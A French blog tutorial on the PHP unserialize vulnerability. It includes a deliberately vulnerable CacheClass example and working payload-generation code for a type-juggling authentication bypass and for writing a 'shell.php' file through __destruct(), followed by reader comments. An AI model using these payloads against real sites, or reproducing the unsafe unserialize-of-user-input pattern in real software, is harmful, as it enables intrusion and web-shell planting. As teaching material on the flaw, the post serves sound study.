Publié le

La faille unserialize de PHP

Pour bien comprendre cet article il est nécessaire d’avoir des bases en Programmation Orientée Objet PHP. Cela dit, c’est aussi compréhensible par le commun des mortels…

La première chose à savoir, c’est le fonctionnement du couple de fonction serialize() et unserialize(). Ces fonctions garderons le type et la structure de la variable donnée en paramètre. Ces deux fonctions peuvent donc aussi bien être utilisé sur des tableaux (array) que sur des instances d’objet.

$bool = true;
$string = "true";

class TlkClass {
private $foo = "bar";
private $bool = false;
}

$objet = new TlkClass();

echo serialize($bool)."\n";
echo serialize($string)."\n";
echo serialize($objet)."\n";

Ce script vas donc renvoyer :

b:1;
s:4:"true";
O:8:"TlkClass":2:{s:13:"TlkClassfoo";s:3:"bar";s:14:"TlkClassbool";b:0;}

Ce qui va nous intéresser c’est surtout les objets linéarisé, cependant, comme serialize() vas garder le type de la variable, un bypass authentification pourra être envisageable dans certains cas un peut (beaucoup?) foireux (rencontré dans un hackit). Je donnerais un exemple plus bas.

Il faut aussi savoir que lorsque un objet linéarisé passe dans la fonction unserialize() la méthode magique __wakeup() sera appelée par PHP. (lorsque un objet est linéarisé c’est la méthode magique __sleep() qui est appelée, mais dans notre cas nous en auront très rarement besoin). L’autre méthode magique à connaître est la méthode __destruct() qui elle est appelée lorsque l’objet est détruit (donc à la fin du script ou lors de l’utilisation d’unset()).

Imaginons maintenant que le développeur a laissé dans son code une variable qui peut être contrôlé par l’utilisateur et qui est passé dans la fonction unserialize(). Que l’attaquant possède le code (comme il est possible avec les CMS) et que le script utilise une classe ayant une méthode __wakeup() ou __destruct() écrivant des fichiers, en incluant… (tout autre type de faille est possible : SQL Injection, ….) L’attaquant pourra sans aucun problème exploiter la faille.

Exemple


class CacheClass {

private $fileName;
private $contenu = "default";

public function __construct()
{
$this->fileName = md5(rand()).".cache";
}

public function getContenu()
{
return $this->contenu;
}

public function setContenu($contenu)
{
$this->contenu = $contenu;
}

public function __destruct()
{
$file = fopen("./cacheDir/".$this->fileName,"w+");
fwrite($file,$this->contenu);
fclose($file);
}
}

$user = unserialize(base64_decode($_GET['user']));

if($user['password'] == "Le Password Impossible à Trouver!") {
phpinfo();
}

Nous avons deux but sur cet exemple, afficher le phpinfo() et uploader notre propre fichier php.

Afficher le phpinfo

Comme la fonction serialize() garde le type de la variable, il va être facile d’afficher le phpinfo en mettant comme valeur pour l’index ‘password’ un booléen « True ». Pour cela rien de plus simple :


$var = array('password' => true);
var_dump(base64_encode(serialize($var)));

Ainsi, il suffira de donner la valeur affiché à notre variable get user pour appeler la fonction phpinfo().

Uploader notre propre fichier

Le principe est exactement le même, sauf que cette fois ci nous allons passer en paramètre une instance linéarisé de la classe CacheClass.


class CacheClass {
private $fileName = 'shell.php';
private $contenu = '<?php phpinfo();';
}

$var = array(
'password' => false,
'object' => new CacheClass(),
);

var_dump(base64_encode(serialize($var)));

Ici, nous somme obligé de donner un Array avec un index ‘password’ car sinon, le script php plante (il affiche une erreur disant : « Fatal Error: Cannot use object of type CacheClass as array ») et la méthode __destruct() n’est pas appelée.

De la même manière, il suffit d’affecter la valeur renvoyé par notre script à notre variable get ‘user’ et le tour est joué! Un fichier nommé shell.php contenant notre code malicieux est créé.

Et comme à chaque article, je suis ouvert à toute critique ! (approbations, insultes, fautes d’orthographe…)

N’hésitez surtout pas à me suivre sur mon Twitter!

Publicités

3 réponses à “La faille unserialize de PHP

  1. Shp

    ah tlk a un bon blog ! c’est pas trop tôt =)

  2. Pingback: MyBB <= 1.6.5 – Full Path Disclosure « tlk's space

  3. t00perZ ⋅

    tres bien expliquer ,bon blog

Laisser un commentaire

Entrez vos coordonnées ci-dessous ou cliquez sur une icône pour vous connecter:

Logo WordPress.com

Vous commentez à l'aide de votre compte WordPress.com. Déconnexion /  Changer )

Photo Google+

Vous commentez à l'aide de votre compte Google+. Déconnexion /  Changer )

Image Twitter

Vous commentez à l'aide de votre compte Twitter. Déconnexion /  Changer )

Photo Facebook

Vous commentez à l'aide de votre compte Facebook. Déconnexion /  Changer )

Connexion à %s